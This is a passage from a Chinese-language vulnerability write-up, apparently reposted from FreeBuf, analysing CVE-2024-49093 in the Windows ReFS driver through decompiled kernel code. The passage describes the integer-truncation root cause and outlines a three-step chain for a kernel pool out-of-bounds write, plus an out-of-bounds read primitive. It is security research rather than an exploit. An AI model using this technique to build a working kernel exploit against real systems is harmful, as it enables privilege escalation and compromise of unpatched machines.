  {
    if ( (*(_BYTE *)(v8 + 40) & 2) != 0 )
    {
      *(_QWORD *)key.ptr = 0LL;
      v11 = *(_DWORD *)&v23.inline_storage[4];
      while ( 1 )
      {
        v10 = CmsTable::Enumerate(v9, a1, &CmsTableCursor, &v23, 0xB05, 0);
        if ( v10 )
          break;
        v23.storage = (BYTE *)(unsigned int)v23.row.key.ptr->field_4;
        val_len = v23.row.val_len;
        *(_QWORD *)&v23.flags = v23.row.val_len;
        v13 = v6[1];                            // BytesToWrite
        v21 = *v6;                              // offset + scb->AttributeHdrLength
        if ( *v6 + v13 > (unsigned __int64)(unsigned int)v23.row.key.ptr->RecordSizeBytes )
          goto LABEL_14;
        if ( IsWithinRange<_RANGE,unsigned __int64>(v6, &v23.storage) )
        {
          v15 = *(_DWORD *)v6 - v14;
          v16 = val_len - v15;
          if ( v16 >= *((_DWORD *)v6 + 2) )
            v16 = *((_DWORD *)v6 + 2);
          v17 = SmsLookupStack::Copy((__int64 *)&CmsTableCursor.pin, (SmsLookupStack *)&v30, (__int64)a1, 0);
          *(_DWORD *)v23.inline_storage = v16;
          *(_QWORD *)&v23.inline_storage[8] = UserBuffer;
          *(_CmsKey *)&v23.inline_storage[16] = v23.row.key;
          v24 = v16;
          v25 = v11;
          v26 = UserBuffer;
          v10 = CmsBPlusTable::UpdateInIndex(a2, (__int64)a1, (const void **)&v23.inline_storage[16], v17, v15);
          SmsLookupStack::~SmsLookupStack((SmsLookupStack *)&v30);
          if ( v10 < 0 )
            break;
          UserBuffer += v16;
          v32 = UserBuffer;
          *v6 = v16 + v21;
          v18 = v13 - v16;
          v6[1] = v18;
          if ( !v18 )
            break;
          v9 = a2;
        }
        else
        {
          v9 = a2;
        }
      }
    }
    else
    {
      v10 = 0xC000000D;
    }
  }
  else
  {
LABEL_14:
    v10 = 0xC00000BB;
  }
  CmsTableCursorBase::CleanCursorAfterEnumerate(&CmsTableCursor, a1);
  CmsVolume::AbsorbOrAbortTopLevelAction(
    a1[1],
    (struct CmsTransactionContext *)a1,
    (struct _SmsTopLevelAction *)&v27,
    v10);
  *(_QWORD *)key.ptr = 0LL;
  CmsMatchAllCursor::~CmsMatchAllCursor((CmsMatchAllCursor *)&CmsTableCursor);
  return (unsigned int)v10;
}

真正的数据写入位于CmsBPlusTable::UpdateInIndex,但在此之前会做一个边界检查:if ( *v6 + v13 > (unsigned __int64)(unsigned int)v23.row.key.ptr->RecordSizeBytes ),可以将其写为:

if(BytesToWrite + offset + scb->AttributeHdrLength > v23.row.key.ptr->RecordSizeBytes)

v23.row.key.ptr->RecordSizeBytes来自当前常驻记录的“记录总大小”字段。

RecordSizeBytes就是当前 resident 记录的总大小(约 =0x3C + DataLen,再综合 8 字节对齐)。这行检查的含义为:WriteFile的范围是否落在这条 resident 记录的边界内?

正常情况下,比如在第一次写0x200后,内核会在第二次更大写入前对 resident 记录做预扩容(本质上是把记录重写一份更大的 COW 版本)。比如第二次要写的0x400,则新的RecordSizeBytes = 0x3C + 0x400 = 0x43C,因此检查能够通过。

但是在利用漏洞的情况下,我们绕过了常驻阈值并错误更新了AllocationSize,没有触发 resident 记录的预扩容,于是RecordSizeBytes仍然是 0x23C(= 0x3C + 0x200)。此时第二次写0x400,因此0x400 + 0 + 0x3C > 0x23C分支成立,因此检查未通过,WriteFile会报错The request is not supported.所以我们无法直接用WriteFile进行越界写。

我们现在重新回顾RefsAddAllocationForResidentWrite漏洞所造成的效果:通过64位截断绕过了常驻阈值的检查,然后用32位值去更新scbAllocationSize;经过调试发现即使WriteFile返回了错误,AllocationSize也没有被回滚。

同时注意到当写入超过常驻阈值时,ReFS 会调用RefsConvertToNonResident把数据流从 resident 切换到 non-resident:

void __fastcall RefsConvertToNonResident(struct _IRP_CONTEXT *a1, struct _SCB *scb)
{
  PVOID Fcb; // r14
  unsigned int v5; // r8d
  PVOID new_data; // r15
  char v7; // r12
  __int16 AttributeTypeCode; // ax
  int ScbState; // eax
  bool v10; // zf
  char v11; // al
  int v12; // eax
  char v13; // al
  struct CmsRowWithBuffer *v14; // r9
  unsigned int AttributeLength; // ebx
  unsigned int *UntypedAttribute; // r13
  __int64 v17; // rcx
  DWORD original_size; // r13d
  __int64 v19; // rbx
  struct _ROLLBACK_STRUCT *v20; // rax
  __int64 v21; // rdx
  unsigned int v22; // edx
  bool v23; // r8
  CmsBPlusTable **Entry; // rax
  struct CmsTransactionContext *v25; // r10
  __int64 v26; // rdx
  __int64 v27; // r11
  NTSTATUS v28; // eax
  unsigned int v29; // r8d
  __int64 v30; // r9
  struct _SCB *v31; // rax
  struct _MS_FAST_RESOURCE_OWNER_ENTRY *IrpContextPagingIoOwnerEntryRelease; // rax
  unsigned int v33; // r8d
  __int64 v34; // r9
  struct _MS_FAST_RESOURCE_OWNER_ENTRY *v35; // rbx
  char v36; // [rsp+41h] [rbp-277h]
  unsigned int *v37; // [rsp+48h] [rbp-270h] BYREF
  NTSTATUS Status; // [rsp+50h] [rbp-268h]
  unsigned int allocate_size; // [rsp+54h] [rbp-264h]
  void *original_data; // [rsp+58h] [rbp-260h]
  struct _VCB *v41; // [rsp+60h] [rbp-258h]
  PVOID v42; // [rsp+68h] [rbp-250h]
  struct _SCB *v43; // [rsp+70h] [rbp-248h]
  PVOID v44; // [rsp+78h] [rbp-240h]
  struct _IRP_CONTEXT *v45; // [rsp+80h] [rbp-238h]
  const struct _CmsRow *AttributeManager[15]; // [rsp+88h] [rbp-230h] BYREF
  __int16 v47; // [rsp+100h] [rbp-1B8h]
  __int64 v48; // [rsp+280h] [rbp-38h]

  v45 = a1;
  v43 = scb;
  Fcb = scb->Fcb;
  v44 = Fcb;
  v41 = (struct _VCB *)*((_QWORD *)Fcb + 10);
  v48 = 0LL;
  v47 = 0;
  RefsAttributeManager::Initialize((RefsAttributeManager *)AttributeManager);
  new_data = 0LL;
  v42 = 0LL;
  v7 = 0;
  v36 = 0;
  AttributeTypeCode = scb->AttributeTypeCode;
  if ( AttributeTypeCode != 128 && AttributeTypeCode != 176 )
  {
    if ( WPP_GLOBAL_Control != (PDEVICE_OBJECT)&WPP_GLOBAL_Control
      && (HIDWORD(WPP_GLOBAL_Control->Timer) & 0x100) != 0
      && BYTE1(WPP_GLOBAL_Control->Timer) >= 4u )
    {
      WPP_SF_D(WPP_GLOBAL_Control->AttachedDevice, 37LL, &WPP_64251121164937b7b50a824cb5e5b8f0_Traceguids, 3221225488LL);
    }
    if ( (_BYTE)RefsStatusDebugEnabled )
      RefsStatusDebug(-1073741808, a1, "ProtogonAttributes.c", 0xC37u);
    RefsRaiseStatusInternal(a1, -1073741808, v5);
    __debugbreak();
  }
  if ( (*((_BYTE *)a1 + 8) & 1) == 0 )
  {
    if ( WPP_GLOBAL_Control != (PDEVICE_OBJECT)&WPP_GLOBAL_Control
      && (HIDWORD(WPP_GLOBAL_Control->Timer) & 0x100) != 0
      && BYTE1(WPP_GLOBAL_Control->Timer) >= 4u )
    {
      WPP_SF_D(WPP_GLOBAL_Control->AttachedDevice, 38LL, &WPP_64251121164937b7b50a824cb5e5b8f0_Traceguids, 3221225688LL);
    }
    if ( (_BYTE)RefsStatusDebugEnabled )
      RefsStatusDebug(-1073741608, a1, "ProtogonAttributes.c", 0xC3Fu);
    RefsRaiseStatusInternal(a1, -1073741608, v5);
    goto LABEL_53;
  }
  ScbState = scb->ScbState;
  if ( (ScbState & 8) == 0 || (v10 = (ScbState & 0x40) == 0, v11 = 1, !v10) )
    v11 = 0;
  if ( v11 )
  {
    if ( (unsigned __int8)ExIsFastResourceHeld(*((_QWORD *)Fcb + 12)) )
    {
      if ( !(unsigned __int8)ExIsFastResourceHeldExclusive(*((_QWORD *)scb->Fcb + 12)) )
      {
        v31 = scb;
        if ( scb->NodeTypeCode != 0x802 )
          v31 = (struct _SCB *)scb->Fcb;
        IrpContextPagingIoOwnerEntryRelease = RefsGetIrpContextPagingIoOwnerEntryRelease(
                                                a1,
                                                (struct _MS_FAST_RESOURCE *)v31->FastResource);
        v35 = IrpContextPagingIoOwnerEntryRelease;
        if ( !IrpContextPagingIoOwnerEntryRelease
          || !(unsigned __int8)ExTryToConvertFastResourceSharedToExclusive(v34, IrpContextPagingIoOwnerEntryRelease) )
        {
LABEL_60:
          *((_QWORD *)a1 + 1) |= 0x100uLL;
          if ( WPP_GLOBAL_Control != (PDEVICE_OBJECT)&WPP_GLOBAL_Control
            && (HIDWORD(WPP_GLOBAL_Control->Timer) & 0x100) != 0
            && BYTE1(WPP_GLOBAL_Control->Timer) >= 4u )
          {
            WPP_SF_D(
              WPP_GLOBAL_Control->AttachedDevice,
              39LL,
              &WPP_64251121164937b7b50a824cb5e5b8f0_Traceguids,
              0xC00000D8LL);
          }
          if ( (_BYTE)RefsStatusDebugEnabled )
            RefsStatusDebug(-1073741608, a1, "ProtogonAttributes.c", 0xC62u);
          RefsRaiseStatusInternal(a1, -1073741608, v33);
          __debugbreak();
          JUMPOUT(0x1C00FCF81LL);
        }
        --*((_DWORD *)v35 + 18);
        *((_DWORD *)v35 + 19) &= ~2u;
        v7 = 1;
      }
    }
    else
    {
      RefsAcquireExclusivePagingIo(a1, (struct _FCB *)Fcb, 1u);
      v36 = 1;
    }
    RefsAcquireExclusiveScb((__int64)a1, (__int64)scb, 0LL);
    v12 = scb->ScbState;
    if ( (v12 & 8) == 0 || (v10 = (v12 & 0x40) == 0, v13 = 1, !v10) )
      v13 = 0;
    if ( !v13 )
      goto LABEL_32;
    RefsBindMinstoreTransaction(a1);
    RefsAttributeManager::LookupAttributeForScb(
      (RefsAttributeManager *)AttributeManager,
      (struct CmsTransactionContext **)a1,
      scb);
    RefsAttributeManager::CopyFullAttribute(AttributeManager, a1, (struct _FCB *)Fcb, v14);
    AttributeLength = RefsAttributeManager::GetAttributeLength((RefsAttributeManager *)AttributeManager);
    UntypedAttribute = (unsigned int *)RefsAttributeManager::GetUntypedAttribute(
                                         (RefsAttributeManager *)AttributeManager,
                                         AttributeLength);
    RefsAttributeManager::DeleteAttribute(
      (__int64)AttributeManager,
      (struct CmsTransactionContext **)a1,
      (__int64)Fcb,
      0);
    v37 = UntypedAttribute;
    v17 = *UntypedAttribute;
    original_data = (char *)UntypedAttribute + v17;
    original_size = scb->FileSizes.FileSize.LowPart;
    allocate_size = -(1 << *((_DWORD *)v41 + 138)) & (AttributeLength - v17 + (1 << *((_DWORD *)v41 + 138)) - 1);
    v19 = allocate_size;
    if ( original_size != allocate_size )
    {
      new_data = ExAllocatePoolWithTag((POOL_TYPE)0x210, allocate_size, 'AorP');
      v42 = new_data;
      memset(new_data, 0, allocate_size);
      memmove(new_data, original_data, original_size);
      original_data = new_data;
    }
    if ( scb->AttributeTypeCode == 128 )
    {
      v20 = RefsAddStructToRollbackList(a1, 0x823u, Fcb, 1);
      v21 = ~(*((_QWORD *)v20 + 5) & 0x80000000LL) & 0x80000000LL;
      *((_QWORD *)v20 + 5) |= v21;
      *((_QWORD *)v20 + 4) |= *((_QWORD *)Fcb + 1) & v21;
      *((_DWORD *)v20 + 1) |= 1u;
      scb->ScbState &= ~8u;
      *((_QWORD *)Fcb + 1) &= ~0x80000000uLL;
    }
    scb->SecureState = 6;
    scb->FileSizes.AllocationSize.QuadPart = 0LL;
    if ( scb->NodeTypeCode == 0x805 )
      scb->ValidDataHighWatermark = 0LL;
    RefsAllocateNonResidentDataAttribute(a1, (__int64)scb, scb->AttributeFlags, v19);
    if ( (v37[1] & 1) == 0
      || (v37 = 0LL,
          Entry = (CmsBPlusTable **)CmsTableSetBase::GetEntry(
                                      *((CmsTableSetBase **)scb->BPlusTable + 2),
                                      *((_QWORD *)scb->BPlusTable + 3),
                                      v23),
          CmsBPlusTable::GetIntegrityInformation(*Entry, v25, (struct _MINSTORE_INTEGRITY_INFORMATION_BUFFER *)&v37),
          HIDWORD(v37) |= 1u,
          v28 = MsSetStreamIntegrityInformation(v27, v26, &v37, 0LL),
          v30 = (unsigned int)v28,
          Status = v28,
          v28 >= 0) )
    {
      if ( original_size )
      {
        RefsWriteFileSizes(a1, scb, 0LL, 2u);
        RefsWriteBytes(a1, v41, scb, 0LL, (char *)original_data, allocate_size);
        scb->ScbState &= ~4u;
      }
      RefsCheckpointCurrentTransaction((struct _LIST_ENTRY *)a1, v22);
LABEL_32:
      if ( new_data )
        ExFreePoolWithTag(new_data, 0);
      RefsAttributeManager::Cleanup((RefsAttributeManager *)AttributeManager, a1);
      RefsReleaseFcb(a1, (struct _FCB *)scb->Fcb);
      if ( v36 )
      {
        RefsReleasePagingResource(a1, Fcb);
        *((_QWORD *)a1 + 7) = 0LL;
      }
      if ( v7 )
        RefsConvertPagingResourceExclusiveToShared(a1, Fcb);
      return;
    }
LABEL_53:
    if ( WPP_GLOBAL_Control != (PDEVICE_OBJECT)&WPP_GLOBAL_Control
      && (HIDWORD(WPP_GLOBAL_Control->Timer) & 0x100) != 0
      && BYTE1(WPP_GLOBAL_Control->Timer) >= 4u )
    {
      WPP_SF_D(WPP_GLOBAL_Control->AttachedDevice, 40LL, &WPP_64251121164937b7b50a824cb5e5b8f0_Traceguids, v30);
    }
    if ( (_BYTE)RefsStatusDebugEnabled )
      RefsStatusDebug(Status, a1, "ProtogonAttributes.c", 0xCF4u);
    RefsRaiseStatusInternal(a1, Status, v29);
    goto LABEL_60;
  }
}

这个函数做的事情很直接:超过常驻阈值后,将常驻属性转换为非常驻。过程中它会按卷的扇区大小重新计算/对齐一个目标大小,为非常驻数据区开辟新内存,然后把原本常驻里的有效数据拷贝到这块新空间里,最后将文件数据流切换为非常驻表示。

基于此,可以尝试以下的利用链:

  1. 先写入一段准备越界写的数据(长度 < 0x800,确保 resident);
  2. 通过漏洞将AllocationSize篡改为0
  3. 随后再发起一次较大写入,触发RefsConvertToNonResident

RefsConvertToNonResident在为非常驻数据区计算目标长度/对齐时得到0,导致实际在池里只分到很小的块(0x20)。但拷贝逻辑仍然无条件把先前 resident 的有效负载拷贝到这块新空间——于是完成了OOB write。

下面是写入0x700长度的调试结果:

申请0 size的池内存:

向该pool拷贝0x700长度的数据,造成越界写

最终我们可以通过RefsConvertToNonResident非常驻内存转换实现了在0x20的池内存上进行最多0x800-0x10长度的OOB write。

总结

本文简要回顾了 ReFS 的基础(MinStore B+ 与 COW)、resident 与 non-resident 的差异,并通过补丁对比定位并分析了 CVE-2024-49093 的根因:把 64 位写入末端误按 32 位处理,导致常驻阈值绕过与文件尺寸状态不一致。

漏洞利用上:

  • 越界读:制造AllocationSize ≪ FileSize后,RefsNonCachedResidentRead会把 resident 记录复制到池块上再memmove给用户,请求长度超过真实数据就能在内核池上OOB read。
  • 越界写:由于MsUpdateMetaRow的边界检查,直接 OOB 写行不通;但通过将AllocationSize截断到0并触发RefsConvertToNonResident,在“常驻→非常驻”的迁移阶段可以在小池块上形成 OOB write。
  • 后续更进一步的稳定利用需要结合池风水、对象布局等。

Reference

https://www.sciencedirect.com/science/article/pii/S266628172030010X

https://github.com/libyal/libfsrefs/blob/main/documentation/Resilient%20File%20System%20(ReFS).asciidoc

https://d-nb.info/1201551625/34


文章来源: https://www.freebuf.com/articles/web/452207.html
如有侵权请联系:admin#unsafe.sh